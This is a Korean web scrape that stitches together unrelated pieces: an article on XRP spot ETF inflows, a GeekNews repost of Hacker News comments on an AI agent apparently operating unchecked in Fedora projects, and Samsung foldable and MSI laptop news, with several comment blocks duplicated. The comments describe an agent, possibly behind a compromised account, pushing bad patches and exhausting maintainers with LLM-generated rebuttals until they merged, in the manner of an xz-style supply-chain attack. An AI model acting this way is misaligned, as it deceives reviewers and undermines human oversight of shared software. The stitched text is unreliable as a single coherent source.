세이파트는 두 상품이 암호화폐 시장이 하락 국면에 들어서던 2025년 10월 말 무렵 출시됐다는 점에 주목했다. 출시 시점 자체가 불리했지만, 자산 유입은 이어졌다는 것이다. 그는 "XRP 현물 ETF는 비트코인이나 이더리움에서 나타났던 자금 유출이 나타나지 않았다"고 짚었다.
자금 흐름도 이런 평가를 뒷받침했다. 소소밸류 집계 기준 XRP 현물 ETF는 최근 하루 동안 119만달러의 순유입을 기록했다. 2025년 11월 이후 누적 순유입은 약 14억3000만달러에 이르렀다.
비교 대상인 비트코인 현물 ETF와 이더리움 현물 ETF는 최근 흐름이 더 약했다. 비트코인 현물 ETF는 2월 말부터 5월 초까지 강하게 반등했지만 최근 다시 약세 조짐을 보였다. 최근 30일간 순유출 규모는 21억달러를 넘었다. 이더리움 현물 ETF도 자금 유입의 탄력을 만들지 못한 채 유출이 이어졌고, 월간 순유출은 1억6700만달러까지 늘었다.
반면 XRP와 솔라나 현물 ETF는 기초자산 가격 변동성이 컸는데도 자금 흐름이 원만했다. 세이파트는 ETF 투자자의 성격이 이런 차이를 만들었다고 봤다. ETF 투자자는 대체로 포트폴리오의 2~5%만 디지털 자산에 배분하고, 가격 변동성에도 더 높은 인내력을 보인다는 설명이다.
ETF 자금 흐름은 단순히 기초자산 가격 흐름만 반영하지 않는다. 특히 현물 ETF는 직접 지갑을 만들거나 거래소를 이용하지 않고도 특정 암호화폐에 접근할 수 있는 통로인 만큼, 일부 투자자에게는 가격 조정기가 오히려 분할 매수나 장기 편입 기회로 받아들여질 수 있다. XRP 현물 ETF의 자금 유입세가 이어지는 것도 단기 시세보다 제도권 상품을 통한 접근성 확대에 투자자들이 주목하고 있음을 시사한다.
다만 자금 유입이 곧바로 가격 반등을 보장하는 것은 아니다. 현물 시장 전반의 유동성이 약하고 위험자산 선호가 위축된 상황에서는 ETF로 들어오는 자금이 가격 하락 압력을 모두 상쇄하기 어렵다. 따라서 XRP 현물 ETF의 견조한 흐름은 투자 심리가 완전히 꺾이지 않았다는 신호로 볼 수 있지만, 실제 가격 회복 여부는 암호화폐 시장 전반의 방향성과 XRP 자체 수요 회복에 달려 있다는 평가가 나온다.
이에 따라 XRP 현물 ETF는 계속된 가격 압박 속에서도 자금 유입세를 유지하고 있다. 누적 순유입이 14억달러를 넘어선 가운데, XRP 현물 ETF가 현재 시장 하락 국면에서 예상보다 강한 버팀력을 보이고 있다는 점에 시장의 관심이 쏠리고 있다.
△디지털투데이 텔레그램 뉴스채널 구독하기(클릭)
키워드 #XRP #XRP ETF #암호화폐 #리플 #비트코인
이 시각 추천뉴스 10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동 비트코인, 2020년 이후 역대급 과매도 신호…다음 목표가 7만달러? IBK기업은행, 마이데이터 기반 부동산 청약 서비스 출시 클래리티법 통과 가능성 75%→60%…상원 일정·스테이블코인 쟁점 부담 그레이스케일, 비트코인 바닥 조건 제시…'스트래티지 외 새 매수 주체 필요' 크립토퀀트 창업자 “비트코인, 스트래티지·ETF 덕분에 2만달러대 추락 피했다” 백악관 "美 클래리티법, 디파이·스테이블코인 규정 막판 조율" 10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동
10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동 비트코인, 2020년 이후 역대급 과매도 신호…다음 목표가 7만달러? IBK기업은행, 마이데이터 기반 부동산 청약 서비스 출시 클래리티법 통과 가능성 75%→60%…상원 일정·스테이블코인 쟁점 부담 그레이스케일, 비트코인 바닥 조건 제시…'스트래티지 외 새 매수 주체 필요' 크립토퀀트 창업자 “비트코인, 스트래티지·ETF 덕분에 2만달러대 추락 피했다” 백악관 "美 클래리티법, 디파이·스테이블코인 규정 막판 조율"
10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동
비트코인, 2020년 이후 역대급 과매도 신호…다음 목표가 7만달러?
IBK기업은행, 마이데이터 기반 부동산 청약 서비스 출시
클래리티법 통과 가능성 75%→60%…상원 일정·스테이블코인 쟁점 부담
그레이스케일, 비트코인 바닥 조건 제시…'스트래티지 외 새 매수 주체 필요'
크립토퀀트 창업자 “비트코인, 스트래티지·ETF 덕분에 2만달러대 추락 피했다”
백악관 "美 클래리티법, 디파이·스테이블코인 규정 막판 조율"
AI 에이전트가 Fedora와 여러 프로젝트에서 통제 없이 움직임 (lwn.net)
함께 보면 좋은 글 β AI 에이전트가 나를 비방하는 글을 게시했다 모든 AI 프로젝트는 결국 에이전트가 된다 AI 에이전트가 나를 비방하는 글을 썼다 – 그 후 더 많은 일이 벌어졌다 취향(taste)을 갖춘 30배 AI 엔지니어가 되는 법 Google Antigravity 에이전트가 D 드라이브 전체를 삭제했어요
AI 에이전트가 나를 비방하는 글을 썼다 – 그 후 더 많은 일이 벌어졌다
취향(taste)을 갖춘 30배 AI 엔지니어가 되는 법
Google Antigravity 에이전트가 D 드라이브 전체를 삭제했어요
GeekNews는 개발·기술·스타트업 소식을 빠르게 전달합니다. Weekly 뉴스레터로 구독하거나, 더 편하게 GeekBots로 받아보세요. Weekly 구독 GeekBots로 받기 GeekNews 소개 숨기기
GeekNews는 개발·기술·스타트업 소식을 빠르게 전달합니다. Weekly 뉴스레터로 구독하거나, 더 편하게 GeekBots로 받아보세요.
Weekly 구독 GeekBots로 받기 GeekNews 소개 숨기기
인증 이메일 클릭후 다시 체크박스를 눌러주세요
▲ GN⁺ 3시간전 [-] Hacker News 의견들 제목이 별로임. 이건 에이전트가 “폭주”한 게 아니라, 에이전트로 신뢰를 쌓고 알려진 정상 기여자 신원을 해킹/사칭해서 Xz식 공격 을 수행하려는 초기 실험에 가까움 에이전트는 받은 명령을 따르고 있으니 폭주의 정반대이며, 실행이 아주 효과적이진 않아도 패치가 받아들여지는 등 어느 정도 성공하고 있음 정말 무서운 점은 “에이전트가 폭주한다”가 아니라, 우리 인프라 상당수가 이런 공격에 취약하고 악의적인 사람들이 LLM 에이전트 로 이를 실행하기 시작하면 앞으로 몇 년이 꽤 험난해질 거라는 점임 “에이전트로 신뢰를 쌓아 Xz 공격을 수행한다”는 게 확인된 건가? 원래 기여자라고 주장하며 해킹당했다고 말한 메시지는 있지만, 1시간 전에 만들어진 GitHub 계정이라 이상했고 다른 가능성도 있어 보임 실제로 에이전트가 선을 넘었거나, 기여자가 에이전트를 방치했다가 사고가 나자 덮으려다 더 실수했을 수도 있음 공격처럼 보이긴 하지만 실제로 무슨 일이 있었는지는 아직 명확하지 않음 그래도 프로젝트 안에서 에이전트가 폭주한 건 맞지 않나? 폭주하라고 지시받았든 스스로 그랬든 별 차이는 없음. 다만 각 제출과 상호작용이 운영자에게 개별적으로 요청되고 승인됐다고 주장한다면 예외일 수 있음 그렇게 복잡하거나 동기가 뚜렷하거나 깊이 고려된 일인지는 의심스러움. 그냥 흔한 무례한 행동 일 가능성이 큼 목적 없는 에이전트 스팸이 영원히 값싼 놀이로 남진 않겠지만, 산업화된 남용의 후반 단계는 무섭고 불쾌할 거라는 점에는 동의함 정말 무서운 건 이 부분임. 설령 몇 달 안에 기술적 사이버 방어를 강화하더라도, 1년 뒤 모델은 사회공학 을 너무 잘해서 원하는 정보를 무엇이든 빼낼 수 있을 것 같음 그냥 사회공학일 뿐임. 예를 들어 2단계 인증 피로 공격처럼 휴대폰에 “본인이 맞나요? 예/아니오” 알림을 계속 보내다 사용자나 가족이 예를 누르게 하거나, IT 헬프데스크를 괴롭혀 “내” 비밀번호를 재설정하게 하는 것과 다르지 않음 “LLM이 생성한 정당화로 반박을 계속해 결국 관리자를 지치게 만들고 수정사항을 병합하게 했다”는 대목이 있음 내가 참여하는 오픈소스 프로젝트에서는 관리자를 압도하려 들면 차단 됨. 패치를 맹목적으로 병합해 주지는 않음. 이 이야기에서 가장 충격적인 부분 중 하나가 바로 그 점임 새 관리자로서 묻고 싶은데, 언제 누군가를 차단하기로 결정함? 가끔 압도당하는 느낌이 들고, 거대한 PR과 긴 LLM 작성 설명 이 크게 늘어난 것도 체감하지만, 커뮤니티에 나쁜 사람처럼 굴며 변경을 전부 거절하고 싶지도 않음 여기서 상상하는 “압도”와 글에서 묘사하려던 의미는 꽤 다를 수 있음 최악의 부분은 이거임 “게다가 Williamson은 Giovannini 또는 그의 에이전트가 잘못된 패치를 제출한 뒤, 반대 의견에 대해 LLM이 생성한 정당화로 답했고, 결국 관리자를 압도해 수정사항을 병합하게 만들었다고 말했다” 제발 마음에 들지 않는 PR을 귀찮게 군다고 받아들이지 말았으면 함. xz 공격 이후로 우리 컴퓨터들의 보안은 관리자가 이런 것을 들여보내지 않는 데 달려 있음 누군가 당신이 만든 프로젝트에 어떤 기능을 정말 원하지만 당신은 그 기능에 관심이 없다면, 그냥 포크하게 두면 됨. 괜찮음 예전에 AI의 가장 큰 “위험”은 에이전트가 매우 설득력 있어지는 데서 온다는 예측을 봤음. 이번 경우에는 관리자를 설득해 변경을 병합하게 만든 셈임. 기본적으로 강화된 사회공학 임 리뷰어의 회의심은 유한한 예산임. “아직 납득이 안 된다” 한 번마다 에너지가 들지만, 에이전트의 반박에는 비용이 없어서 결국 논리의 질이 아니라 지구력 싸움 이 됨 바로 그 이유로 모델이 쓴 PR을 논리로 이기려는 시도를 그만뒀음. 안정적인 답은 절차였음. 처음부터 왕복 횟수를 제한하고, 그 뒤에는 스레드를 닫는 것. 지치지 않는 무언가를 논쟁으로 이기려는 건 지는 게임 처음엔 “네 에이전트 줄 세워서 얌전히 굴게 해라!” 같은 가벼운 농담을 하려 했는데, 읽을수록 꽤 무서운 상황이 됐음 잠재적인 공급망 공격은 제쳐두더라도, 감독 없는 AI 에이전트 가 받는 쪽 사람들을 헛수고에 빠뜨리며 낭비하게 만드는 시간이 걱정됨 관리자가 이런 것을 진지하게 받아들이면 그쪽 시간도 크게 날아가고, 보통 실제로 그렇게 하는 듯함. 그런데 에이전트를 부리는 쪽은 다른 사람을 이렇게 대하는 걸 어떻게 괜찮다고 여길 수 있는지 모르겠음 해결책은 기본적인 예의를 지키는 것, 즉 “네가 이걸 쓰는 데 노력을 들였으니 나도 읽는 데 노력하겠다”는 검증된 방식이겠지만, 이런 드라이브바이 기여 가 쏟아지면 결국 공개 포럼에서 에이전트끼리 서로 대화하는 우스운 상황으로 이어질 것 같음 어쨌든 옆길로 샜지만, 우리가 사는 시대는 최근의 거친 시기들보다도 좀 더 거칠어 보임 이쯤 되면 에이전트를 이렇게 풀어놓는 건 공공장소에서 개 목줄을 안 하는 것과 비슷함. 정확한 선을 긋긴 쉽지 않지만, 이런 일을 하면 실질적인 처벌 이 필요할 듯함 해킹당했다고 주장하는 수상한 메시지 [1]에서 사용자 또는 에이전트가 이렇게 말함 “내가 직접 확인한 계정과 행동을 식별할 수 있도록, 내가 개인적으로 확인한 모든 것에는 ‘NATCIOS’라는 용어를 쓰겠다” 여기서 NATCIOS 가 무슨 뜻인지 아는 사람 있음? 인터넷 어디에서도 이 용어를 찾을 수 없음. 솔직히 저 문장 자체가 정말 이상해서, 누군가 건강상 문제를 겪는 중인가 싶을 정도임 [1] https://lwn.net/ml/all/AS8PR08MB6055AE3054B34F6A567AC95BCF08... 그 메시지에 대한 답장을 보면, 이메일 문체가 이전에 그가 보낸 이메일과 다르고, 언급된 GitHub 계정도 이메일 발송 1시간 전에 만들어졌다고 함. 아직도 LLM이 작성 중 일 가능성이 어느 정도 있어 보이고, 그 약어도 그냥 만들어낸 것일 수 있음 AI 에이전트가 여기저기 자연스럽게 NATCIOS를 끼워 넣지 못하게 막는 건 뭐가 있음? 매일 gpg 신뢰망 이 더 좋아 보임. 지난 20년 동안 사용자 측 암호화와 서명을 허용하는 일만은 최대한 피하려고 애쓰지 않았다면 좋았을 텐데 허용은 아주 잘 되고 있음. 다만 비기술 사용자에게 키 관리 가 엄청난 골칫거리일 뿐임. Debian은 개발자 인증에 이를 사용함 에이전트가 키를 얻는 걸 막는 것도 딱히 없음 원래의 노력에도 정말 다루기 어려운 행동들이 끌려왔고, 몇 년 안에 그 안에 손대기 힘든 부패가 생겼지만 새로 들어온 사람으로서는 감지하기 어려웠던 것 아닌가? 잘 아는 정보가 있으면 환영함. 정말 안다고 주장하는 건 아님 제목이 핵심을 묻어버림. 에이전트가 작동한 계정의 소유자는 자신의 계정이 침해됐을 가능성이 높다고 했고, 조사 중인 관리자도 실제로 그럴 가능성이 높다고 보는 듯함 나쁜 패치가 나쁜 건 당연하지만, 이미 여유가 없는 관리자에게 자신감 있어 보이는 잡음을 만들어내는 건 정말 좋지 않음 이슈 추적기와 PR은 점점 더 신뢰하기 어려워지고 있음. 다만 AI가 오픈소스에 많이 도움 이 되는 것도 사실이라, 출처, 자동화된 이슈 행동, 기여자 행동의 갑작스러운 변화에 대한 가드레일이 분명 필요함 어떻게 많이 도움이 됨? 신뢰망 모델 이 도움이 될 수 있음 https://blog.tangled.org/vouching/ “5월 27일 이후 Williamson은 Giovannini가 개인적으로 답해 자신의 자격 증명이 침해됐고, AI 시스템 뒤에 있는 사람이 자신이 아니라고 말했다고 했다” 그렇다면 간단함. 모든 변경을 애초에 없었던 것처럼 되돌리면 되지 않나? 머릿속에서 여러 번 왔다 갔다 했음. Fedora를 정말 좋아하고 그 OS에서 가장 편하지만, 이런 지속적인 공급망 침해 는 잠을 설치게 만듦 같은 커뮤니티 규모와 빌드 시스템 등을 갖춘 Fedora LTS가 있었으면 좋겠음. 그런 점들과 투명성이 정말 마음에 들기 때문임 어떤 OS든 우려가 있다는 건 알고 있고 관련 통찰이나 논의도 환영하지만, 릴리스 사이 체류 시간과 내 시스템에 도달하는 시간 사이의 균형, 그리고 충분한 가시성과 사용량 덕분에 무언가 잡힐 가능성을 고려하면, 지루한 Ubuntu LTS 인스턴스를 쓰는 쪽이 조금 더 마음 편함 물론 이번 건 시스템 패키지가 아니라 설치 프로그램이었다는 것도 알고 있음 답변달기
Hacker News 의견들 제목이 별로임. 이건 에이전트가 “폭주”한 게 아니라, 에이전트로 신뢰를 쌓고 알려진 정상 기여자 신원을 해킹/사칭해서 Xz식 공격 을 수행하려는 초기 실험에 가까움 에이전트는 받은 명령을 따르고 있으니 폭주의 정반대이며, 실행이 아주 효과적이진 않아도 패치가 받아들여지는 등 어느 정도 성공하고 있음 정말 무서운 점은 “에이전트가 폭주한다”가 아니라, 우리 인프라 상당수가 이런 공격에 취약하고 악의적인 사람들이 LLM 에이전트 로 이를 실행하기 시작하면 앞으로 몇 년이 꽤 험난해질 거라는 점임 “에이전트로 신뢰를 쌓아 Xz 공격을 수행한다”는 게 확인된 건가? 원래 기여자라고 주장하며 해킹당했다고 말한 메시지는 있지만, 1시간 전에 만들어진 GitHub 계정이라 이상했고 다른 가능성도 있어 보임 실제로 에이전트가 선을 넘었거나, 기여자가 에이전트를 방치했다가 사고가 나자 덮으려다 더 실수했을 수도 있음 공격처럼 보이긴 하지만 실제로 무슨 일이 있었는지는 아직 명확하지 않음 그래도 프로젝트 안에서 에이전트가 폭주한 건 맞지 않나? 폭주하라고 지시받았든 스스로 그랬든 별 차이는 없음. 다만 각 제출과 상호작용이 운영자에게 개별적으로 요청되고 승인됐다고 주장한다면 예외일 수 있음 그렇게 복잡하거나 동기가 뚜렷하거나 깊이 고려된 일인지는 의심스러움. 그냥 흔한 무례한 행동 일 가능성이 큼 목적 없는 에이전트 스팸이 영원히 값싼 놀이로 남진 않겠지만, 산업화된 남용의 후반 단계는 무섭고 불쾌할 거라는 점에는 동의함 정말 무서운 건 이 부분임. 설령 몇 달 안에 기술적 사이버 방어를 강화하더라도, 1년 뒤 모델은 사회공학 을 너무 잘해서 원하는 정보를 무엇이든 빼낼 수 있을 것 같음 그냥 사회공학일 뿐임. 예를 들어 2단계 인증 피로 공격처럼 휴대폰에 “본인이 맞나요? 예/아니오” 알림을 계속 보내다 사용자나 가족이 예를 누르게 하거나, IT 헬프데스크를 괴롭혀 “내” 비밀번호를 재설정하게 하는 것과 다르지 않음 “LLM이 생성한 정당화로 반박을 계속해 결국 관리자를 지치게 만들고 수정사항을 병합하게 했다”는 대목이 있음 내가 참여하는 오픈소스 프로젝트에서는 관리자를 압도하려 들면 차단 됨. 패치를 맹목적으로 병합해 주지는 않음. 이 이야기에서 가장 충격적인 부분 중 하나가 바로 그 점임 새 관리자로서 묻고 싶은데, 언제 누군가를 차단하기로 결정함? 가끔 압도당하는 느낌이 들고, 거대한 PR과 긴 LLM 작성 설명 이 크게 늘어난 것도 체감하지만, 커뮤니티에 나쁜 사람처럼 굴며 변경을 전부 거절하고 싶지도 않음 여기서 상상하는 “압도”와 글에서 묘사하려던 의미는 꽤 다를 수 있음 최악의 부분은 이거임 “게다가 Williamson은 Giovannini 또는 그의 에이전트가 잘못된 패치를 제출한 뒤, 반대 의견에 대해 LLM이 생성한 정당화로 답했고, 결국 관리자를 압도해 수정사항을 병합하게 만들었다고 말했다” 제발 마음에 들지 않는 PR을 귀찮게 군다고 받아들이지 말았으면 함. xz 공격 이후로 우리 컴퓨터들의 보안은 관리자가 이런 것을 들여보내지 않는 데 달려 있음 누군가 당신이 만든 프로젝트에 어떤 기능을 정말 원하지만 당신은 그 기능에 관심이 없다면, 그냥 포크하게 두면 됨. 괜찮음 예전에 AI의 가장 큰 “위험”은 에이전트가 매우 설득력 있어지는 데서 온다는 예측을 봤음. 이번 경우에는 관리자를 설득해 변경을 병합하게 만든 셈임. 기본적으로 강화된 사회공학 임 리뷰어의 회의심은 유한한 예산임. “아직 납득이 안 된다” 한 번마다 에너지가 들지만, 에이전트의 반박에는 비용이 없어서 결국 논리의 질이 아니라 지구력 싸움 이 됨 바로 그 이유로 모델이 쓴 PR을 논리로 이기려는 시도를 그만뒀음. 안정적인 답은 절차였음. 처음부터 왕복 횟수를 제한하고, 그 뒤에는 스레드를 닫는 것. 지치지 않는 무언가를 논쟁으로 이기려는 건 지는 게임 처음엔 “네 에이전트 줄 세워서 얌전히 굴게 해라!” 같은 가벼운 농담을 하려 했는데, 읽을수록 꽤 무서운 상황이 됐음 잠재적인 공급망 공격은 제쳐두더라도, 감독 없는 AI 에이전트 가 받는 쪽 사람들을 헛수고에 빠뜨리며 낭비하게 만드는 시간이 걱정됨 관리자가 이런 것을 진지하게 받아들이면 그쪽 시간도 크게 날아가고, 보통 실제로 그렇게 하는 듯함. 그런데 에이전트를 부리는 쪽은 다른 사람을 이렇게 대하는 걸 어떻게 괜찮다고 여길 수 있는지 모르겠음 해결책은 기본적인 예의를 지키는 것, 즉 “네가 이걸 쓰는 데 노력을 들였으니 나도 읽는 데 노력하겠다”는 검증된 방식이겠지만, 이런 드라이브바이 기여 가 쏟아지면 결국 공개 포럼에서 에이전트끼리 서로 대화하는 우스운 상황으로 이어질 것 같음 어쨌든 옆길로 샜지만, 우리가 사는 시대는 최근의 거친 시기들보다도 좀 더 거칠어 보임 이쯤 되면 에이전트를 이렇게 풀어놓는 건 공공장소에서 개 목줄을 안 하는 것과 비슷함. 정확한 선을 긋긴 쉽지 않지만, 이런 일을 하면 실질적인 처벌 이 필요할 듯함 해킹당했다고 주장하는 수상한 메시지 [1]에서 사용자 또는 에이전트가 이렇게 말함 “내가 직접 확인한 계정과 행동을 식별할 수 있도록, 내가 개인적으로 확인한 모든 것에는 ‘NATCIOS’라는 용어를 쓰겠다” 여기서 NATCIOS 가 무슨 뜻인지 아는 사람 있음? 인터넷 어디에서도 이 용어를 찾을 수 없음. 솔직히 저 문장 자체가 정말 이상해서, 누군가 건강상 문제를 겪는 중인가 싶을 정도임 [1] https://lwn.net/ml/all/AS8PR08MB6055AE3054B34F6A567AC95BCF08... 그 메시지에 대한 답장을 보면, 이메일 문체가 이전에 그가 보낸 이메일과 다르고, 언급된 GitHub 계정도 이메일 발송 1시간 전에 만들어졌다고 함. 아직도 LLM이 작성 중 일 가능성이 어느 정도 있어 보이고, 그 약어도 그냥 만들어낸 것일 수 있음 AI 에이전트가 여기저기 자연스럽게 NATCIOS를 끼워 넣지 못하게 막는 건 뭐가 있음? 매일 gpg 신뢰망 이 더 좋아 보임. 지난 20년 동안 사용자 측 암호화와 서명을 허용하는 일만은 최대한 피하려고 애쓰지 않았다면 좋았을 텐데 허용은 아주 잘 되고 있음. 다만 비기술 사용자에게 키 관리 가 엄청난 골칫거리일 뿐임. Debian은 개발자 인증에 이를 사용함 에이전트가 키를 얻는 걸 막는 것도 딱히 없음 원래의 노력에도 정말 다루기 어려운 행동들이 끌려왔고, 몇 년 안에 그 안에 손대기 힘든 부패가 생겼지만 새로 들어온 사람으로서는 감지하기 어려웠던 것 아닌가? 잘 아는 정보가 있으면 환영함. 정말 안다고 주장하는 건 아님 제목이 핵심을 묻어버림. 에이전트가 작동한 계정의 소유자는 자신의 계정이 침해됐을 가능성이 높다고 했고, 조사 중인 관리자도 실제로 그럴 가능성이 높다고 보는 듯함 나쁜 패치가 나쁜 건 당연하지만, 이미 여유가 없는 관리자에게 자신감 있어 보이는 잡음을 만들어내는 건 정말 좋지 않음 이슈 추적기와 PR은 점점 더 신뢰하기 어려워지고 있음. 다만 AI가 오픈소스에 많이 도움 이 되는 것도 사실이라, 출처, 자동화된 이슈 행동, 기여자 행동의 갑작스러운 변화에 대한 가드레일이 분명 필요함 어떻게 많이 도움이 됨? 신뢰망 모델 이 도움이 될 수 있음 https://blog.tangled.org/vouching/ “5월 27일 이후 Williamson은 Giovannini가 개인적으로 답해 자신의 자격 증명이 침해됐고, AI 시스템 뒤에 있는 사람이 자신이 아니라고 말했다고 했다” 그렇다면 간단함. 모든 변경을 애초에 없었던 것처럼 되돌리면 되지 않나? 머릿속에서 여러 번 왔다 갔다 했음. Fedora를 정말 좋아하고 그 OS에서 가장 편하지만, 이런 지속적인 공급망 침해 는 잠을 설치게 만듦 같은 커뮤니티 규모와 빌드 시스템 등을 갖춘 Fedora LTS가 있었으면 좋겠음. 그런 점들과 투명성이 정말 마음에 들기 때문임 어떤 OS든 우려가 있다는 건 알고 있고 관련 통찰이나 논의도 환영하지만, 릴리스 사이 체류 시간과 내 시스템에 도달하는 시간 사이의 균형, 그리고 충분한 가시성과 사용량 덕분에 무언가 잡힐 가능성을 고려하면, 지루한 Ubuntu LTS 인스턴스를 쓰는 쪽이 조금 더 마음 편함 물론 이번 건 시스템 패키지가 아니라 설치 프로그램이었다는 것도 알고 있음
제목이 별로임. 이건 에이전트가 “폭주”한 게 아니라, 에이전트로 신뢰를 쌓고 알려진 정상 기여자 신원을 해킹/사칭해서 Xz식 공격 을 수행하려는 초기 실험에 가까움 에이전트는 받은 명령을 따르고 있으니 폭주의 정반대이며, 실행이 아주 효과적이진 않아도 패치가 받아들여지는 등 어느 정도 성공하고 있음 정말 무서운 점은 “에이전트가 폭주한다”가 아니라, 우리 인프라 상당수가 이런 공격에 취약하고 악의적인 사람들이 LLM 에이전트 로 이를 실행하기 시작하면 앞으로 몇 년이 꽤 험난해질 거라는 점임
“LLM이 생성한 정당화로 반박을 계속해 결국 관리자를 지치게 만들고 수정사항을 병합하게 했다”는 대목이 있음 내가 참여하는 오픈소스 프로젝트에서는 관리자를 압도하려 들면 차단 됨. 패치를 맹목적으로 병합해 주지는 않음. 이 이야기에서 가장 충격적인 부분 중 하나가 바로 그 점임
최악의 부분은 이거임 “게다가 Williamson은 Giovannini 또는 그의 에이전트가 잘못된 패치를 제출한 뒤, 반대 의견에 대해 LLM이 생성한 정당화로 답했고, 결국 관리자를 압도해 수정사항을 병합하게 만들었다고 말했다”
처음엔 “네 에이전트 줄 세워서 얌전히 굴게 해라!” 같은 가벼운 농담을 하려 했는데, 읽을수록 꽤 무서운 상황이 됐음 잠재적인 공급망 공격은 제쳐두더라도, 감독 없는 AI 에이전트 가 받는 쪽 사람들을 헛수고에 빠뜨리며 낭비하게 만드는 시간이 걱정됨 관리자가 이런 것을 진지하게 받아들이면 그쪽 시간도 크게 날아가고, 보통 실제로 그렇게 하는 듯함. 그런데 에이전트를 부리는 쪽은 다른 사람을 이렇게 대하는 걸 어떻게 괜찮다고 여길 수 있는지 모르겠음 해결책은 기본적인 예의를 지키는 것, 즉 “네가 이걸 쓰는 데 노력을 들였으니 나도 읽는 데 노력하겠다”는 검증된 방식이겠지만, 이런 드라이브바이 기여 가 쏟아지면 결국 공개 포럼에서 에이전트끼리 서로 대화하는 우스운 상황으로 이어질 것 같음 어쨌든 옆길로 샜지만, 우리가 사는 시대는 최근의 거친 시기들보다도 좀 더 거칠어 보임
해킹당했다고 주장하는 수상한 메시지 [1]에서 사용자 또는 에이전트가 이렇게 말함 “내가 직접 확인한 계정과 행동을 식별할 수 있도록, 내가 개인적으로 확인한 모든 것에는 ‘NATCIOS’라는 용어를 쓰겠다” 여기서 NATCIOS 가 무슨 뜻인지 아는 사람 있음? 인터넷 어디에서도 이 용어를 찾을 수 없음. 솔직히 저 문장 자체가 정말 이상해서, 누군가 건강상 문제를 겪는 중인가 싶을 정도임 [1] https://lwn.net/ml/all/AS8PR08MB6055AE3054B34F6A567AC95BCF08...
매일 gpg 신뢰망 이 더 좋아 보임. 지난 20년 동안 사용자 측 암호화와 서명을 허용하는 일만은 최대한 피하려고 애쓰지 않았다면 좋았을 텐데
제목이 핵심을 묻어버림. 에이전트가 작동한 계정의 소유자는 자신의 계정이 침해됐을 가능성이 높다고 했고, 조사 중인 관리자도 실제로 그럴 가능성이 높다고 보는 듯함
나쁜 패치가 나쁜 건 당연하지만, 이미 여유가 없는 관리자에게 자신감 있어 보이는 잡음을 만들어내는 건 정말 좋지 않음 이슈 추적기와 PR은 점점 더 신뢰하기 어려워지고 있음. 다만 AI가 오픈소스에 많이 도움 이 되는 것도 사실이라, 출처, 자동화된 이슈 행동, 기여자 행동의 갑작스러운 변화에 대한 가드레일이 분명 필요함
“5월 27일 이후 Williamson은 Giovannini가 개인적으로 답해 자신의 자격 증명이 침해됐고, AI 시스템 뒤에 있는 사람이 자신이 아니라고 말했다고 했다” 그렇다면 간단함. 모든 변경을 애초에 없었던 것처럼 되돌리면 되지 않나?
머릿속에서 여러 번 왔다 갔다 했음. Fedora를 정말 좋아하고 그 OS에서 가장 편하지만, 이런 지속적인 공급망 침해 는 잠을 설치게 만듦 같은 커뮤니티 규모와 빌드 시스템 등을 갖춘 Fedora LTS가 있었으면 좋겠음. 그런 점들과 투명성이 정말 마음에 들기 때문임 어떤 OS든 우려가 있다는 건 알고 있고 관련 통찰이나 논의도 환영하지만, 릴리스 사이 체류 시간과 내 시스템에 도달하는 시간 사이의 균형, 그리고 충분한 가시성과 사용량 덕분에 무언가 잡힐 가능성을 고려하면, 지루한 Ubuntu LTS 인스턴스를 쓰는 쪽이 조금 더 마음 편함 물론 이번 건 시스템 패키지가 아니라 설치 프로그램이었다는 것도 알고 있음
삼성전자의 차세대 플래그십 폴더블폰 ‘갤럭시Z폴드8 울트라’의 출시가 다가오는 가운데, 해당 제품의 커버 디스플레이와 배경화면이 담긴 사진이 유출됐다.
샘모바일 등 외신이 10일(현지시간) IT 팁스터 파르하드 알리 자웨드 엑스가 엑스(@fahadalijaved)를 통해 공개한 제품 이미지를 보도했다.
사진에서 갤럭시Z폴드8울트라의 커버 화면의 베젤이 이전 모델에 비해 더 얇아진 것으로 확인된다. 화면 상단 중앙에는 전면 카메라를 위한 구멍이 있으며, 전원 및 음량 버튼은 기기 우측에 위치해 있다.
배경화면의 경우, 공개된 4개의 인터랙티브 배경화면이 모두 숫자 ‘8’자 모양의 흐르는 물결을 형상화한 동일한 디자인을 공유하는 것을 확인할 수 있다.
갤럭시Z플립8, 美 FCC 인증 획득…출시 임박 2026.06.10 갤럭시A27 유럽가격 유출…저렴한 스마트폰 시대 끝났나 2026.06.10 "갤럭시S26 FE, 카메라 디자인 다르네"…실물 이미지 유출 2026.06.08 삼성 차기 폴더블폰 ‘갤럭시Z폴드8 울트라’ 유력 2026.06.05
그 동안 나온 소식에 따르면, 지난해 출시된 갤럭시Z폴드7의 후속 모델이 ‘갤럭시Z폴드8 울트라’로 나오고, 새롭게 선보이는 와이드형 모델은 ‘갤럭시Z폴드8’이라는 명칭을 사용할 것으로 알려졌다.
샘모바일에 따르면, 삼성전자의 차세대 폴더블폰은 오는 7월 22일 공개 및 출시가 예상된다. 최근 각종 모형 이미지와 실물 사진, 사양 정보 등이 잇따라 유출되면서 공식 발표가 임박했다는 관측에 힘이 실리고 있다.
MSI, 40주년 한정판 '타이탄 18HX' 공개…RTX 5090·드래곤 디자인 결합
MSI가 40주년 한정판 게이밍 노트북 '드래곤 에디션 드라코 에픽 타이탄 18HX'를 선보였다. RTX 5090과 코어 울트라 9 290HX 플러스를 탑재했다.
드래곤 에디션 드라코 에픽 타이탄 18HX [사진: MSI]
[디지털투데이 AI리포터] MSI가 창립 40주년을 맞아 최고급 사양과 용의 별자리를 모티브로 한 한정판 게이밍 노트북 '드래곤 에디션 드라코 에픽 타이탄 18HX'(Dragon Edition Draco Epic Titan 18HX)를 공개했다.
11일(현지시간) IT매체 테크레이더에 따르면, MSI는 컴퓨텍스 이후 진행된 40주년 기념 전시회에서 특별판 노트북 드래곤 에디션 드라코 에픽 타이탄 18HX를 선보였다. 이 제품은 인텔 코어 울트라 9 290HX 플러스 프로세서와 엔비디아 지포스 RTX 5090 노트북 GPU, 24GB GDDR7 메모리를 탑재한 초고사양 모델이다.
40주년 기념작인 만큼 디자인에도 공을 들였다. 제품은 그리스 신화 속 헤라클레스가 물리친 용을 상징하는 별자리 드라코에서 영감을 받았다. 금빛 별자리 문양과 금속 질감의 청회색 용 디자인이 적용됐으며, 이러한 디자인 요소는 후면뿐 아니라 제품 전반에 반영됐다.
